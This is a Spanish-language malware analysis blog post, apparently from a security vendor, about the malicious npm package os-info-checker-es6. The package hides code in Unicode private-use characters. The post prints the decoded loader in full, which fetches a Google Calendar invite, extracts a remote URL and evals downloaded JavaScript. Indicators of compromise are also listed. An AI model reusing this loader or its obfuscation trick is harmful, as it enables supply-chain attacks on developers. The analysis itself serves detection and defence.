Aikido

Invitación: Entrega de malware a través de invitaciones de Google Calendar y PUAs

Charlie EriksenCharlie Eriksen
|
#
#
#

El 19 de marzo de 2025, descubrimos un paquete llamado os-info-checker-es6 y nos quedamos perplejos. Pudimos comprobar que no cumplía lo prometido. ¿Pero cuál era el problema? Decidimos investigar el asunto y, al principio, nos encontramos con callejones sin salida. Pero la paciencia da sus frutos, y finalmente obtuvimos la mayoría de las respuestas que buscábamos. También aprendimos sobre las PUA de Unicode (no, no son 'pick-up artists'). ¡Fue una montaña rusa de emociones!

¿Qué es el paquete?

El paquete no ofrece muchas pistas debido a la falta de un README archivo. Así es como se ve el paquete en npm:

No muy informativo. Pero parece que obtiene información del sistema. Sigamos adelante. 

El código "oloroso" lo delata

Nuestro pipeline de análisis levantó inmediatamente muchas banderas rojas del paquete preinstall.js archivo debido a la presencia de un eval() llamada con entrada codificada en base64. 

Vemos el eval(atob(...)) llamada. Eso significa "Decodificar una cadena base64 y evaluarla", es decir, ejecutar código arbitrario. Eso nunca es una buena señal. Pero, ¿cuál es la entrada? 

La entrada es una cadena resultante de la llamada a decode() en un módulo nativo de Node incluido con el paquete. La entrada de esa función se parece a… Solo un |¡¿Qué?! 

Tenemos varias preguntas importantes aquí:

  1. ¿Qué hace la función decode?
  2. ¿Qué tiene que ver la decodificación con la comprobación de información del SO?
  3. ¿Por qué es? eval()¿...ándolo? 
  4. ¿Por qué la única entrada es un? |?

Profundicemos

Decidimos aplicar ingeniería inversa al binario. Es un pequeño binario de Rust que no hace mucho. Inicialmente esperábamos ver algunas llamadas a funciones para obtener información del sistema operativo, pero no vimos NADA. Pensamos que quizás el binario estaba ocultando más secretos, proporcionando la respuesta a nuestra primera pregunta. Más sobre esto más adelante.

Pero entonces, ¿qué ocurre con la entrada a la función siendo solo un |¿Aquí es donde las cosas se ponen interesantes. Esa no es la entrada real. Copiamos el código en otro editor, y lo que vemos es:

¡Vaya! Casi se salen con la suya. Lo que vemos se llaman caracteres Unicode de “Acceso de Uso Privado”. Estos son códigos no asignados en el estándar Unicode, reservados para uso privado, que las personas pueden utilizar para definir sus propios símbolos para su aplicación. Son intrínsecamente no imprimibles, ya que no tienen un significado inherente. 

En este caso, el decodificar la llamada al binario nativo de Node decodifica esos bytes en caracteres ASCII codificados en base64. ¡Muy ingenioso!

Démosle una vuelta

Así que, decidimos examinar el código real. Por suerte, guarda el código que ejecutó en un archivo run.txt. Y es simplemente esto:

console.log('Check');

Eso es súper poco interesante. ¿Qué están tramando? ¿Por qué se esfuerzan tanto en ocultar este código? Nos quedamos atónitos. 

Pero entonces...

Empezamos a ver paquetes publicados que dependían de este paquete, uno de ellos del mismo autor. Eran:

  • skip-tot (19 de marzo de 2025)
    • Es una copia del paquete vue-skip-to.
  • vue-dev-serverr (31 de marzo de 2025)
  • vue-dummyy (3 de abril de 2025)
    • Es una copia del paquete vue-dummy.
  • vue-bit (3 de abril de 2025)
    • Se hace pasar por el paquete @teambit/bvm.
    • No contiene código real.

Todos tienen en común que añaden os-info-checker-es6 como una dependencia, pero nunca invocar el decodificar función. Qué decepción. No sabemos nada más sobre lo que los atacantes esperaban hacer. No pasó nada durante un tiempo hasta que la os-info-checker-es6 el paquete se actualizó de nuevo después de una larga pausa.

FINALMENTE

Este caso había estado rondando mi mente durante un tiempo. No tenía sentido. ¿Qué intentaban hacer? ¿Me perdí algo obvio al descompilar el módulo nativo de Node? ¿Por qué un atacante quemaría esta nueva capacidad tan pronto? La respuesta llegó el 7 de mayo de 2025, cuando una nueva versión de os-info-checker-es6, versión 1.0.8, salió. El preinstall.js ha cambiado. 

¡Oh, mira, la cadena ofuscada es mucho más larga! Pero el eval la llamada está comentada. Así que, incluso si existe una carga útil maliciosa en la cadena ofuscada, no se ejecutaría. ¿Qué? Ejecutamos el decodificador en un sandbox y mostramos la cadena decodificada. Aquí está después de un poco de embellecimiento y anotaciones manuales:

const https = require('https');
const fs    = require('fs');

/**
 * Extract the first capture group that matches the pattern:
 *     ${attrName}="([^\"]*)"
 */
const ljqguhblz = (html, attrName) => {
  const regex = new RegExp(`${attrName}${atob('PSIoW14iXSopIg==')}`); // ="([^"]*)"
  return html.match(regex)[1];
};

/**
 * Stage-1: fetch a Google-hosted bootstrap page, follow redirects and
 *           pull the base-64-encoded payload URL from its data-attribute.
 */
const krswqebjtt = async (url, cb) => {
  try {
    const res = await fetch(url);

    if (res.ok) {
      // Handle HTTP 30x redirects manually so we can keep extracting headers.
      if (res.status !== 200) {
        const redirect = res.headers.get(atob('bG9jYXRpb24=')); // 'location'
        return krswqebjtt(redirect, cb);
      }

      const body = await res.text();
      cb(null, ljqguhblz(body, atob('ZGF0YS1iYXNlLXRpdGxl'))); // 'data-base-title'
    } else {
      cb(new Error(`HTTP status ${res.status}`));
    }
  } catch (err) {
    console.log(err);
    cb(err);
  }
};

/**
 * Stage-2: download the real payload plus.
 */
const ymmogvj = async (url, cb) => {
  try {
    const res = await fetch(url);

    if (res.ok) {
      const body = await res.text();
      const h    = res.headers;
      cb(null, {
        acxvacofz : body,                               // base-64 JS payload
        yxajxgiht : h.get(atob('aXZiYXNlNjQ=')),        // 'ivbase64' 
        secretKey : h.get(atob('c2VjcmV0a2V5')),        // 'secretKey' 
      });
    } else {
      cb(new Error(`HTTP status ${res.status}`));
    }
  } catch (err) {
    cb(err);
  }
};

/**
 * Orchestrator: keeps trying the two stages until a payload is successfully executed.
 */
const mygofvzqxk = async () => {
  await krswqebjtt(
    atob('aHR0cHM6Ly9jYWxlbmRhci5hcHAuZ29vZ2xlL3Q1Nm5mVVVjdWdIOVpVa3g5'), // https://calendar.app.google/t56nfUUcugH9ZUkx9
    async (err, link) => {
      if (err) {
        console.log('cjnilxo');
        await new Promise(r => setTimeout(r, 1000));
        return mygofvzqxk();
      }

      await ymmogvj(
        atob(link),
        async (err, { acxvacofz, yxajxgiht, secretKey }) => {
          if (err) {
            console.log('cjnilxo');
            await new Promise(r => setTimeout(r, 1000));
            return mygofvzqxk();
          }

          if (acxvacofz.length === 20) {
            return eval(atob(acxvacofz));
          }

          // Execute attacker-supplied code with current user privileges.
          eval(atob(acxvacofz));
        }
      );
    }
  );
};

/* ---------- single-instance lock ---------- */
const gsmli = `${process.env.TEMP}\\pqlatt`;
if (fs.existsSync(gsmli)) process.exit(1);
fs.writeFileSync(gsmli, '');
process.on('exit', () => fs.unlinkSync(gsmli));

/* ---------- kick it all off ---------- */
mygofvzqxk();

/* ---------- resilience ---------- */
let yyzymzi = 0;
process.on('uncaughtException', async (err) => {
  console.log(err);
  fs.writeFileSync('_logs_cjnilxo_uncaughtException.txt', String(err));
  if (++yyzymzi > 10) process.exit(0);
  await new Promise(r => setTimeout(r, 1000));
  mygofvzqxk();
});

¿Viste la URL de Google Calendar en el orquestador? Eso es algo interesante de ver en un malware. Muy llamativo. 

¡Están todos invitados!

Así es como se ve el enlace:

Una invitación de calendario con una cadena codificada en base64 como título. ¡Hermoso! La foto de perfil de pizza me hizo esperar que tal vez fuera una invitación a una fiesta de pizza, pero el evento está programado para el 7 de junio de 2027. No puedo esperar tanto por pizza. Sin embargo, tomaré otra cadena codificada en base64. Esto es lo que decodifica:

http://140.82.54[.]223/2VqhA0lcH6ttO5XZEcFnEA%3D%3D

En un callejón sin salida... de nuevo

Esta investigación ha estado llena de altibajos. Pensamos que las cosas estaban en un callejón sin salida, solo para que volvieran a aparecer señales de vida. Estuvimos muy cerca de descubrir la verdadera intención maliciosa del desarrollador, pero no lo logramos del todo.

No hay duda: este fue un enfoque novedoso para la ofuscación. Uno pensaría que cualquiera que dedicara tiempo y esfuerzo a hacer algo así utilizaría las capacidades que ha desarrollado. En cambio, parece que no han hecho nada con ello, revelando sus intenciones. 

Como resultado, nuestro motor de análisis ahora detecta patrones como este, donde un atacante intenta ocultar datos en caracteres de control no imprimibles. Es otro caso en el que intentar ser astuto, en lugar de dificultar la detección, en realidad genera más señales. Porque es tan inusual que destaca y ondea un gran cartel que dice “ESTOY TRAMANDO ALGO MALO”. ¡Sigan con el excelente trabajo! 👍

Indicadores de compromiso

Paquetes

  • os-info-checker-es6
  • skip-tot
  • vue-dev-serverr
  • vue-dummyy
  • vue-bit

IPs

  • 140.82.54[.]223

URLs

  • https://calendar.app[.]google/t56nfUUcugH9ZUkx9

Reconocimiento

Durante esta investigación, contamos con la ayuda de nuestros grandes amigos de Vector35, quienes nos proporcionaron una licencia de prueba para su herramienta Binary Ninja para asegurarnos de comprender completamente el módulo nativo de Node. Un gran agradecimiento al equipo por su excelente producto. 👏

4.7/5

Protege tu software ahora.

Empieza gratis
Sin tarjeta
Solicitar una demo
Sus datos no se compartirán · Acceso de solo lectura · No se requiere tarjeta de crédito

Asegúrate ahora.

Proteja su código, la nube y el entorno de ejecución en un único sistema central.
Encuentre y corrija vulnerabilidades de forma rápida y automática.

No se requiere tarjeta de crédito | Resultados del escaneo en 32 segundos.